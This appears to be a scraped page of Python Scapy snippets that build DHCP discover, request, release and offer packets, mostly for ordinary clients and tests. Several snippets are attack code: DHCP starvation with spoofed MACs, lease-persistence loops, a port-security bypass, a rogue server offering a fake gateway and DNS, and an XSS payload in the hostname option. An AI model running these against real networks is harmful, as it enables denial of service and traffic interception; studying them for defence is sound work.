Beispiel #1
0
    def send_dhcp_packet(self, mac: MacAddress, state: DHCPState,
                         dhcp_desc: DHCPDescriptor = None):
        """
        Send DHCP packet and record state in dhcp_client_state.

        Args:
            mac: MAC address of interface
            state: state of DHCP packet
            dhcp_desc: DHCP protocol state.
        Returns:
        """
        ciaddr = None

        # generate DHCP request packet
        if state == DHCPState.DISCOVER:
            dhcp_opts = [("message-type", "discover")]
            dhcp_desc = DHCPDescriptor(mac=mac, ip="",
                                       state_requested=DHCPState.DISCOVER)
            self._msg_xid = self._msg_xid + 1
            pkt_xid = self._msg_xid
        elif state == DHCPState.REQUEST:
            dhcp_opts = [("message-type", "request"),
                         ("requested_addr", dhcp_desc.ip),
                         ("server_id", dhcp_desc.server_ip)]
            dhcp_desc.state_requested = DHCPState.REQUEST
            pkt_xid = dhcp_desc.xid
            ciaddr = dhcp_desc.ip
        elif state == DHCPState.RELEASE:
            dhcp_opts = [("message-type", "release"),
                         ("server_id", dhcp_desc.server_ip)]
            dhcp_desc.state_requested = DHCPState.RELEASE
            self._msg_xid = self._msg_xid + 1
            pkt_xid = self._msg_xid
            ciaddr = dhcp_desc.ip
        else:
            LOG.warning("Unknown egress request mac %s state %s", str(mac), state)
            return

        dhcp_opts.append("end")

        with self._dhcp_notify:
            self.dhcp_client_state[mac.as_redis_key()] = dhcp_desc

        pkt = Ether(src=str(mac), dst="ff:ff:ff:ff:ff:ff")
        pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
        pkt /= UDP(sport=68, dport=67)
        pkt /= BOOTP(op=1, chaddr=mac.as_hex(), xid=pkt_xid, ciaddr=ciaddr)
        pkt /= DHCP(options=dhcp_opts)
        LOG.debug("DHCP pkt %s", pkt.show(dump=True))

        sendp(pkt, iface=self._dhcp_interface, verbose=0)
Beispiel #2
0
    def gen_request_unicast(self):
        """
        Generate DHCP REQUEST unicast packet.

        Same comments as in gen_request apply.

        """
        dhcp_req = (self.gen_ether_ip_unicast() / self.gen_udp() /
                    self.gen_bootp_unicast() /
                    DHCP(options=[("message-type", "request"),
                                  ("client_id", mac2str(self.client_mac)),
                                  ("param_req_list", self.prl), "end"]))
        logger.debug('Generated request %s.', dhcp_req.summary())
        return dhcp_req
Beispiel #3
0
def dhcpRequest(dhcp_offer, src_mac_random, interface):
    transaction_id = dhcp_offer[0][BOOTP].xid
    server_id = dhcp_offer[0][DHCP].options[1][1]
    requested_addr = dhcp_offer[0][BOOTP].yiaddr
    print(requested_addr)
    options = [("message-type", "request"), ("server_id", server_id),
               ("requested_addr", requested_addr), ("end", "0")]
    dhcp_request = Ether(dst='ff:ff:ff:ff:ff:ff', src=src_mac_random) \
                   / IP(src='0.0.0.0', dst='255.255.255.255') \
                   / UDP(sport=68, dport=67) \
                   / BOOTP(chaddr=[mac2str(src_mac_random)], xid=transaction_id) \
                   / DHCP(options=options)
    sendp(dhcp_request, iface=interface)
    return requested_addr
Beispiel #4
0
 def gen_release(self):
     dhcp_release = (
         self.gen_ether_ip_request(self.server_mac, self.server_ip,
                                   self.client_ip) /
         self.gen_udp_bootp() /
         DHCP(options=[
             ("message-type", "release"),
             ("server_id", self.server_id),
             "end"
         ])
     )
     logger.debug('Generated release.')
     logger.debug(dhcp_release.summary())
     return dhcp_release
Beispiel #5
0
 def gen_discover(self):
     dhcp_discover = (
         self.gen_ether_ip_discover() /
         self.gen_udp_bootp() /
         DHCP(options=[
             ("message-type", "discover"),
             # MAY
             # ("param_req_list", PARAM_REQ_LIST),
             "end"
         ])
     )
     logger.debug('Generated discover.')
     logger.debug(dhcp_discover.summary())
     return dhcp_discover
def build_request(mac_addr, target, req_ip, hostname, trans_id):
    """
    build a DHCP request packet
    :param mac_addr: the mac address
    :param target: the target server's ip which we are going to attack. (this is the dst ip)
    :param req_ip: the requested IP
    :param hostname: the host name
    :param trans_id: the transaction ID
    :return: scapy DHCP request packet
    """
    return Ether(src=str(mac_addr), dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") \
           / UDP(sport=68, dport=67) / BOOTP(chaddr=str_2_mac(mac_addr), xid=trans_id) \
           / DHCP(options=[("message-type", "request"), ("server_id", target), ("requested_addr", req_ip),
                           ("hostname", hostname), ("param_req_list", 0), "end"])
Beispiel #7
0
def dhcp_discover(tx_if, rx_if, tx_src_ip, tx_dst_ip, server_ip, proxy_ip,
                  client_mac):
    """Send and check DHCP DISCOVER proxy packet."""

    rxq = RxQueue(rx_if)
    txq = TxQueue(tx_if)

    sent_packets = []

    dhcp_discover = Ether(src=client_mac, dst="ff:ff:ff:ff:ff:ff") / \
                    IP(src=tx_src_ip, dst=tx_dst_ip) / \
                    UDP(sport=UDP_SERVICES.bootpc, dport=UDP_SERVICES.bootps) / \
                    BOOTP(op=1,) / \
                    DHCP(options=[("message-type", "discover"),
                                  "end"])

    sent_packets.append(dhcp_discover)
    txq.send(dhcp_discover)

    ether = rxq.recv(2)

    if ether is None:
        raise RuntimeError('DHCP DISCOVER timeout')

    if ether[IP].src != proxy_ip:
        raise RuntimeError("Source IP address error.")
    print "Source IP address: OK."

    if ether[IP].dst != server_ip:
        raise RuntimeError("Destination IP address error.")
    print "Destination IP address: OK."

    if ether[UDP].dport != UDP_SERVICES.bootps:
        raise RuntimeError("UDP destination port error.")
    print "UDP destination port: OK."

    if ether[UDP].sport != UDP_SERVICES.bootpc:
        raise RuntimeError("UDP source port error.")
    print "UDP source port: OK."

    if ether[DHCP].options[1][0] != 'relay_agent_Information':  # option 82
        raise RuntimeError("Relay agent information error.")
    option_82 = ether[DHCP].options[1][1]

    if ether[DHCP].options[0][1] != 1:  # 1 - DISCOVER message
        raise RuntimeError("DHCP DISCOVER message error.")
    print "DHCP DISCOVER message OK."

    return option_82
Beispiel #8
0
def dhcpDiscover(src_mac_random, dhcp_server_ip, interface):
    options = [("message-type", "discover"), ("max_dhcp_size", 1500),
               ("client_id", mac2str(src_mac_random)), ("lease_time", 10000),
               ("end", "0")]
    transaction_id = random.randint(1, 900000000)
    dhcp_discover = Ether(dst='ff:ff:ff:ff:ff:ff', src=src_mac_random) \
                    / IP(src='0.0.0.0', dst=dhcp_server_ip) \
                    / UDP(sport=68, dport=67) \
                    / BOOTP(chaddr=[mac2str(src_mac_random)], xid=transaction_id, flags=0xffffff) \
                    / DHCP(options=options)
    sendp(dhcp_discover, iface=interface)
    dhcp_offer = sniff(
        count=1,
        lfilter=lambda p: BOOTP in p and p[BOOTP].xid == transaction_id)
    return dhcp_offer
def send_dhcp_renew_address(info):
    dst_mac = info['srv_mac']  # Broadcast address
    fake_mac = info['fake_mac']
    options = [("message-type", "request"), ("max_dhcp_size", 1500),
               ("client_id", fake_mac), ("lease_time", 10000),
               ("server_id", info['srv_id']), ("end", "0")]
    transaction_id = random.randint(1, 900000000)
    dhcp_request = (Ether(src=src_mac, dst=dst_mac) /
                    IP(src=info['taken_ip'], dst=info['srv_ip']) /
                    UDP(sport=68, dport=67) / BOOTP(chaddr=[fake_mac],
                                                    ciaddr=info['taken_ip'],
                                                    xid=transaction_id,
                                                    flags=0x0) /
                    DHCP(options=options))
    sendp(dhcp_request, iface=iface, verbose=False)
Beispiel #10
0
 def gen_inform(self):
     dhcp_inform = (
         self.gen_ether_ip_request(self.server_mac, self.server_ip,
                                   self.client_ip) /
         self.gen_udp_bootp() /
         DHCP(options=[
             ("message-type", "inform"),
             # MAY
             # ("param_req_list", self.param_req_list)
             "end"
         ])
     )
     logger.debug('Generated inform.')
     logger.debug(dhcp_inform.summary())
     return dhcp_inform
Beispiel #11
0
 def gen_decline(self):
     dhcp_decline = (
         self.gen_ether_ip_request(self.server_mac, self.server_ip,
                                   self.client_ip) /
         self.gen_udp_bootp() /
         DHCP(options=[
             ("message-type", "decline"),
             ("server_id", self.server_ip),
             ("requested_addr", self.client_ip_offered),
             "end"
         ])
     )
     logger.debug('Generated decline.')
     logger.debug(dhcp_decline.summary())
     return dhcp_decline
Beispiel #12
0
def persistant(mac_and_ip, dhcp_server_ip, interface):
    while (True):
        for i in mac_and_ip:
            transaction_id = random.randint(1, 900000000)
            server_id = dhcp_server_ip
            requested_addr = i[0]
            options = [("message-type", "request"), ("server_id", server_id),
                       ("requested_addr", requested_addr), ("end", "0")]
            dhcp_request = Ether(dst='ff:ff:ff:ff:ff:ff', src=i[1]) \
                           / IP(src=requested_addr, dst='255.255.255.255') \
                           / UDP(sport=68, dport=67) \
                           / BOOTP(chaddr=[mac2str(i[1])], xid=transaction_id) \
                           / DHCP(options=options)
            sendp(dhcp_request, iface=interface)
        sleep(120)
Beispiel #13
0
    def __init__ (self):
        base_pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67,chksum=0) \
                         /BOOTP(chaddr=b'123456',xid=55555,yiaddr='1.2.3.4')/DHCP(options=[("message-type","discover"), ("server_id", '1.2.3.4'),"end"])

        FastParser.__init__(self, base_pkt)

        self.add_field('Ethernet.dst', 'dstmac')
        self.add_field('Ethernet.src', 'srcmac')
        
        self.add_field('IP.ihl',      'ihl', fmt = "!B")
        self.add_field('IP.dst',      'dstip')
        self.add_field('IP.src',      'srcip')
        self.add_field('IP.chksum',   'chksum')
        
        self.add_field('BOOTP.xid', 'xid')
        self.add_field('BOOTP.chaddr', 'chaddr')
        self.add_field('BOOTP.ciaddr', 'ciaddr')
        self.add_field('BOOTP.yiaddr', 'yiaddr')
        self.add_field('DHCP options.options', 'options', getter = self.get_options, setter = self.set_options)

        msg_types = [{'id': 1, 'name': 'discover'},
                     {'id': 2, 'name': 'offer'},
                     {'id': 3, 'name': 'request'},
                    ]
        
        
        self.msg_types = {}
        
        for t in msg_types:
            self.msg_types[t['id']]   = t
            self.msg_types[t['name']] = t
            
        
        opts = [{'id': 53, 'name': 'message-type',   'type': 'byte'},
                {'id': 54, 'name': 'server_id',      'type': 'int'},
                {'id': 50, 'name': 'requested_addr', 'type': 'int'},
                {'id': 51, 'name': 'lease-time',     'type': 'int'},
                {'id': 58, 'name': 'renewal_time',   'type': 'int'},
                {'id': 59, 'name': 'rebinding_time', 'type': 'int'},
                {'id': 1,  'name': 'subnet_mask',    'type': 'int'},
                {'id': 15, 'name': 'domain',         'type': 'str'},
               ]
        
        self.opts = {}
        
        for opt in opts:
            self.opts[opt['id']]    = opt
            self.opts[opt['name']]  = opt
Beispiel #14
0
    def make_dhcp_discover(self):
        """
        Creates a DHCPDISCOVER packet using scapy

        Returns
        -------
        Packet
            A scapy DHCPDISCOVER Packet

        """
        ethernet = Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff')
        ip = IP(src='0.0.0.0', dst='255.255.255.255')
        udp = UDP(dport=67, sport=68)
        bootp = BOOTP(chaddr=self.mac_address_raw, xid=RandInt())
        dhcp = DHCP(options=[('message-type', 'discover'), ("hostname", self.hostname), 'end'])
        dhcp_discover_pkt = ethernet / ip / udp / bootp / dhcp
        return dhcp_discover_pkt
Beispiel #15
0
def dhcp_discover(spoofed_mac, i_face):
    """
    sending dhcp discover from the spoofed mac address (broadcast)

    :param spoofed_mac: fake mac address
    :param i_face: the systems network interface for the attack
    """
    ip_dest = '255.255.255.255'
    mac_dest = "ff:ff:ff:ff:ff:ff"
    dsc = Ether(src=mac2str(spoofed_mac), dst=mac_dest, type=0x0800)
    dsc /= IP(src='0.0.0.0', dst=ip_dest)
    dsc /= UDP(sport=68, dport=67)
    dsc /= BOOTP(chaddr=mac2str(spoofed_mac),
                 xid=random.randint(1, 1000000000),
                 flags=0xFFFFFF)
    dsc /= DHCP(options=[("message-type", "discover"), "end"])
    sendp(dsc, iface=i_face)
    print("discover sent")
Beispiel #16
0
def run(interface, xs):
    """
    This function launch DHCP DISCOVER DOS attack
    :param inter: interface to be launched the attack
    :type inter: str
    """
    global src_mac
    global xi
    global follow
    global inter
    follow = False
    #if len(interface) > 0:
    inter = interface
    if xs == "":
        xss = "<script>alert('hola')</script>"
    else:
        xss = xs

    try:

        src_mac = get_if_hwaddr(inter)
        print str(src_mac)
        ethernet = Ether(dst='ff:ff:ff:ff:ff:ff', src=str(src_mac), type=0x800)
        ip = IP(src="0.0.0.0", dst="255.255.255.255")
        udp = UDP(sport=68, dport=67)
        while not follow:
            xi = RandString(8, "1234567890abcdef")
            xi = "0x" + str(xi)
            res = src_mac.split(":")
            ch = ""
            for i in res:
                ch = ch + chr(int(i, 16))
            bootps = BOOTP(xid=int(xi, 16), ciaddr='0.0.0.0', chaddr=ch)
            host = "<script>alert('hola')</script>"
            dhcps = DHCP(options=[("message-type",
                                   "discover"), ("hostname", host), "end"])
            packet = ethernet / ip / udp / bootps / dhcps
            conf.checkIPaddr = False
            pkt = srp1(packet, iface=inter, verbose=1)
            if BOOTP in pkt:
                is_DHCP(pkt)
        #sniff(prn=is_DHCP, filter="udp and (port 67 or 68)", iface=inter
    except KeyboardInterrupt:
        pass
Beispiel #17
0
def find_dhcp(iface):
    """
    Recuperation des informations a partir du serveur DHCP
    iface : l'interface utiliser pour lancer la recherche
    Retourne :  0.   l'adresse du serveur bootp,
                1.   le masque de sous reseau,
                2.   la route par defaut (gateway),
                3.   l'adresse du serveur dhcp,
                4-5. les adresses des dns 1 & 2
                6.   le nom de domaine
                7.   l'adresse IP proposee
                7.   l'adresse mac de l'interface iface
    """

    rq = Ether(dst="ff:ff:ff:ff:ff:ff") / \
         IP(src="0.0.0.0", dst="255.255.255.255") / \
         UDP(sport=68, dport=67) / \
         BOOTP(chaddr=get_if_raw_hwaddr(iface)[1]) / \
         DHCP(options=[("message-type", "discover"), "end"])

    try:
        reponse, perdu = srp(rq, timeout=10)
    except PermissionError:
        tools.info("find DHCP, Permission non accordee")
        return None

    if not reponse:
        return None

    bootp_srv = reponse[0][1][BOOTP].siaddr
    yiaddr = reponse[0][1][BOOTP].yiaddr
    hwdst = reponse[0][1][Ether].dst

    opts = reponse[0][1][DHCP].options
    dhcp_mask = member('subnet_mask', opts, key=lambda x: x[0])[1]
    gateway = member('router', opts, key=lambda x: x[0])[1]
    dhcp_srv = member('server_id', opts, key=lambda x: x[0])[1]
    dns1, dns2 = member('name_server', opts, key=lambda x: x[0])[1:]
    domain = member('domain', opts, key=lambda x: x[0])[1].decode()

    return [
        bootp_srv, dhcp_mask, gateway, dhcp_srv, dns1, dns2, domain, hwdst,
        yiaddr
    ]
Beispiel #18
0
    def gen_inform(self):
        """
        Generate DHCP inform packet (unicast).

        [:rfc:`7844#section-3.`] ::

            MUST contain the Message Type option,

        .. note:: currently not being used.

        """
        dhcp_inform = (
            self.gen_ether_ip_unicast() / self.gen_udp() /
            self.gen_bootp_unicast() /
            DHCP(options=[("message-type", "inform"),
                          ("client_id", mac2str(self.client_mac)), "end"]))
        logger.debug('Generated inform.')
        logger.debug(dhcp_inform.summary())
        return dhcp_inform
Beispiel #19
0
def discover():
    ether_layer = Ether(
        src=DHCP_CLIENT_MAC_ADDRESS,
        dst=BROADCAST_MAC_ADDRESS,
    )

    ip_layer = IP(
        src=DHCP_DISCOVER_HOST_IP_ADDRESS,
        dst=LIMITED_BROADCAST_IP_ADDRESS,
    )

    udp_layer = UDP(
        sport=DHCP_CLIENT_PORT,
        dport=DHCP_SERVER_PORT,
    )

    # BOOTPの引数chaddrについて:
    # Scapyを使った他の実装を見たところ
    # (https://github.com/david415/dhcptakeover/blob/master/dhcptakeover.py)、
    # scapy.all.get_if_raw_hwaddr()を使っていた
    # scapy.all.get_if_raw_hwaddr()の中で `mac = mac2str(str(link_addr))` しており
    # mac2str()関数にて、規則に従いMACアドレスを文字列化してた
    # コメントに「dumbnet module」とあったので、使用モジュールの関係上、このロジックとなっているのかもしれない
    chaddr = mac2str(DHCP_CLIENT_MAC_ADDRESS)
    # なお、単にMACアドレスそのものを渡してもOKだが、その場合には同一のDHCPサーバから複数レスポンスが返ってくる
    # chaddr = DHCP_CLIENT_MAC_ADDRESS
    bootp_layer = BOOTP(chaddr=chaddr)

    dhcp_layer = DHCP(options=[('message-type', 'discover'), 'end'])

    discover_packet = ether_layer / ip_layer / udp_layer / bootp_layer / dhcp_layer

    # 作成したパケットを念のため確認
    discover_packet.show()

    # Scapyのドキュメント通りに設定して送信
    # http://scapy.readthedocs.io/en/latest/usage.html#identifying-rogue-dhcp-servers-on-your-lan
    conf.checkIPaddr = False
    answers, _ = srp(discover_packet, iface=USB_INTERFACE_NAME, multi=True)

    for send_packet, recv_packet in answers:
        print 'DHCP Server - MAC: {}, IP: {}'.format(recv_packet[Ether].src,
                                                     recv_packet[IP].src)
def build_renew(src_mac, dst_mac, src_ip, target, req_ip, hostname, trans_id):
    """
    build a renew DHCP request
    :param src_mac: the src mac
    :param dst_mac: the dst mac
    :param src_ip: the src ip
    :param target: the target server's ip which we are going to attack. (this is the dst ip)
    :type target: str
    :param req_ip: the requested IP
    :param hostname: the host name
    :param trans_id: the transaction ID
    :type trans_id: int
    :return: DHCP renew request packet
    :rtype: scapy DHCP packet
    """
    return Ether(src=str(src_mac), dst=str(dst_mac)) / IP(src=src_ip, dst=target) / UDP(sport=68, dport=67) \
           / BOOTP(chaddr=str_2_mac(src_mac), xid=trans_id) \
           / DHCP(options=[("message-type", "request"), ("server_id", target), ("requested_addr", req_ip),
                           ("hostname", hostname), ("param_req_list", 0), "end"])
Beispiel #21
0
    def gen_release(self):
        """
        Generate DHCP release packet (broadcast?).

        [:rfc:`7844#section-3.`] ::

            MUST contain the Message Type option and
            MUST contain the Server Identifier option,

        .. note:: currently not being used.

        """
        dhcp_release = (self.gen_ether_ip() / self.gen_udp() /
                        self.gen_bootp() /
                        DHCP(options=[("message-type", "release"),
                                      ("client_id", mac2str(self.client_mac)),
                                      ("server_id", self.server_ip), "end"]))
        logger.debug('Generated release.')
        logger.debug(dhcp_release.summary())
        return dhcp_release
Beispiel #22
0
 def generatePacketServerOffer(self, type, IPClient, packet):
     return (Ether(src=self.__DHCPMac, dst=packet[Ether].src) /
             IP(src=self.__DHCPServerIp, dst="255.255.255.255") /
             UDP(sport=67, dport=68) /
             BOOTP(op=2,
                   yiaddr=IPClient,
                   ciaddr=packet[IP].src,
                   siaddr=self.__DHCPServerIp,
                   chaddr=packet[Ether].chaddr,
                   xid=packet[BOOTP].xid) /
             DHCP(options=[
                 ('server_id', self.__DHCPServerIp),
                 ("lease_time", self.__leaseTime), 
                 ('renewal_time', self.__renewalTime),
                 ('rebinding_time', self.__rebindingTime),
                 ('subnet_mask', self.__fakeSubnetMask),
                 ('router', self.__fakeGatewayIP),
                 ('message-type', type),
                 ("name_server", self.__fakeDNSServer),
                 'end']
             ))
Beispiel #23
0
 def gen_request(self, server_mac=BROADCAST_MAC, server_ip=BROADCAST_ADDR,
                 client_ip=META_ADDR):
     # TODO: 3.1. SHOULD randomize the ordering of options
     dhcp_req = (
         self.gen_ether_ip_request(server_mac, server_ip, client_ip) /
         self.gen_udp_bootp() /
         DHCP(options=[
             ("message-type", "request"),
             # MAY
             # ("param_req_list", PARAM_REQ_LIST),
             # If the message is in response
             # to a DHCPOFFER, it MUST contain the corresponding Server
             # Identifier option and the Requested IP address
             ("server_id", self.server_id),
             ("requested_addr", self.client_ip_offered),
             "end"
         ])
     )
     logger.debug('Generated request.')
     logger.debug(dhcp_req.summary())
     return dhcp_req
def send_the_discover(tarip, interface, per):
    """
    This is called from  the while loop in "main()".
    It sends a fabricated DHCP req to the server in order to offcourse lease one of the free ip's
    :param tarip:
    :param interface:
    :param per:
    :return:
    """
    fake_mac = generateFakeMac(
    )  # Fabricated mac we use as the src in the Discover. Meant to be bound to a free ip
    myxid = random.randrange(5234, None,
                             3)  # The id for each first DHCP handshake
    dhcp_discover = Ether(src=fake_mac, dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0", dst=tarip)/UDP(sport=68,dport=67)\
                    /BOOTP(chaddr=[mac2str(fake_mac)], xid=myxid)/DHCP(options=[("message-type", "discover"), "end"])  #Discover packet
    print(fake_mac)  # Print the fabricated, to be bound, mac addr
    sendp(dhcp_discover
          )  # Send Discover to lease an ip for the mac printed above
    print("DISCOVER SENT")  # Updating we sent a Discover massage
    get_the_offer(fake_mac, myxid, tarip, interface,
                  per)  # Proceed to next step of DHCP handshake
Beispiel #25
0
    def gen_decline(self):
        """
        Generate DHCP decline packet (broadcast).

        [:rfc:`7844#section-3.`] ::

            MUST contain the Message Type option,
            MUST contain the Server Identifier option,
            MUST contain the Requested IP address option;

        .. note:: currently not being used.

        """
        dhcp_decline = (
            self.gen_ether_ip() / self.gen_udp() / self.gen_bootp() /
            DHCP(options=[("message-type",
                           "decline"), ("server_id", self.server_ip),
                          ("requested_addr", self.client_ip), "end"]))
        logger.debug('Generated decline.')
        logger.debug(dhcp_decline.summary())
        return dhcp_decline
Beispiel #26
0
def DHCP_Request_Sendonly(ifname, options, param_req_list, wait_time=1):
    request = Ether(dst='ff:ff:ff:ff:ff:ff', src=options['MAC'],
                    type=0x0800) / IP(
                        src='0.0.0.0', dst='255.255.255.255') / UDP(
                            dport=67, sport=68) / BOOTP(
                                op=1,
                                chaddr=chaddr(options['client_id']),
                                siaddr=options['Server_IP'],
                            ) / DHCP(options=[
                                ('message-type', 'request'),
                                ('server_id', options['Server_IP']),
                                ('requested_addr', options['requested_addr']),
                                # Hardware_Type = 1(一个字节),需要添加在client_id前面
                                ('client_id', b'\x01' + options['client_id']),
                                ('param_req_list', param_req_list),
                                ('end')
                            ])
    if wait_time != 0:
        time.sleep(wait_time)
        sendp(request, iface=scapy_iface(ifname), verbose=False)
    else:
        sendp(request, iface=scapy_iface(ifname), verbose=False)
Beispiel #27
0
def dhcp_request(req_ip, spoofed_mac, server_ip, i_face):
    """
    sending dhcp request for a specific ip from the spoofed mac address (broadcast)

    :param req_ip: ip requested by the attacker for the fake mac address
    :param spoofed_mac: fake mac address
    :param server_ip: dhcp servers ip
    :param i_face: the systems network interface for the attack
    """
    ip_dest = '255.255.255.255'
    mac_dest = "ff:ff:ff:ff:ff:ff"
    req = Ether(src=mac2str(spoofed_mac), dst=mac_dest)
    req /= IP(src="0.0.0.0", dst=ip_dest)
    req /= UDP(sport=68, dport=67)
    # generating random transaction ID
    req /= BOOTP(chaddr=mac2str(spoofed_mac),
                 xid=random.randint(1, 1000000000))
    req /= DHCP(options=[("message-type",
                          "request"), ("server_id",
                                       server_ip), ("requested_addr",
                                                    req_ip), "end"])
    sendp(req, iface=i_face)
    print('request sent')
Beispiel #28
0
    def gen_discover(self):
        """
        Generate DHCP DISCOVER packet.

        [:rfc:`7844#section-3.1`] ::

            SHOULD randomize the ordering of options

            If this can not be implemented
            MAY order the options by option code number (lowest to highest).

        [:rfc:`7844#section-3.`] ::

            MAY contain the Parameter Request List option.

        """
        dhcp_discover = (self.gen_ether_ip() / self.gen_udp() /
                         self.gen_bootp() /
                         DHCP(options=[("message-type", "discover"),
                                       ("client_id", mac2str(self.client_mac)),
                                       ("param_req_list", self.prl), "end"]))
        logger.debug('Generated discover %s.', dhcp_discover.summary())
        return dhcp_discover
Beispiel #29
0
    def send_discover(self):
        print ""
        print "Starting Starvation"
        print ""
        for i in range(255):
            # Generate transaction id
            transaction_id = random.randint(1, 900000000)
            # Generate fake CHADDR
            spoofed_chaddr = str(RandMAC())
            while spoofed_chaddr in spoofed_chaddr_list:
                print "Duplicate SPOOF CHADDR detected, generating a new one"
                spoofed_chaddr = str(RandMAC())
            spoofed_chaddr_list.append(spoofed_chaddr)

            # Create discover packet, specifying source mac to bypass port security
            discover_packet = Ether(src=source_mac,dst="ff:ff:ff:ff:ff:ff")
            discover_packet /= IP(src="0.0.0.0", dst="255.255.255.255")
            discover_packet /= UDP(sport=68, dport=67)
            discover_packet /= BOOTP(chaddr=spoofed_chaddr, xid=transaction_id)
            discover_packet /= DHCP(options=[("message-type", "discover"), "end"])

            sendp(discover_packet, iface=interface, verbose=0)
            sleep(0.01)
def craft_dhcp_request(packet, myxid, fake_mac, tarip, interface, per):
    """
    This func deals with the 3rd step of the handshake- sending the request (as a respones to an earlier Offer we got earlier)
    :param packet: We passed as an arg the earlier catched DHCP Offer packet
    :param myxid:
    :param fake_mac:
    :param tarip:
    :param interface:
    :param per:
    :return:
    """
    dhcp_req = Ether(src=fake_mac, dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0", dst=tarip)/\
               UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(fake_mac)], xid=myxid)\
               /DHCP(options=[("message-type", "request"), ("server_id", (packet[DHCP].options[1][1])),
                              ("requested_addr", packet[BOOTP].yiaddr), ("param_req_list", 0), "end"])  # This is the DHCP req we are going to send
    sendp(dhcp_req, iface=interface)  # We send the DHCP req
    print("SENT REQUEST. DONE!  " + str(packet[BOOTP].yiaddr) +
          "\n")  # Informs that the req was successfully sent
    # Now we prepare variables to use if the user wants PERSISTENCE
    the_lease_time = packet[DHCP].options[2][
        1]  # Extracting the lease time from the packet (DHCP Offer given as an arg)
    my_ip = packet[
        BOOTP].yiaddr  # The ip we leased from the server (Bound to "fake_mac")
    server_mac = packet[
        Ether].src  # The extracted server mac (Extracted from the Offer)
    server_id = packet[DHCP].options[1][
        1]  # The extracted server mac (Extracted from the Offer)
    if per:  # Do the next steps if the user chose persistence
        per_thread = Thread(
            target=activate_persistence,
            args=[
                fake_mac, tarip, interface, the_lease_time, my_ip, server_mac,
                server_id
            ]
        )  # We open and start a thread dealing with keeping bond between our fabricated mac addr (fake_mac) and the ip given from the server
        per_thread.start(
        )  # The persistence is kept active through the thread. Code keeps running at the same time.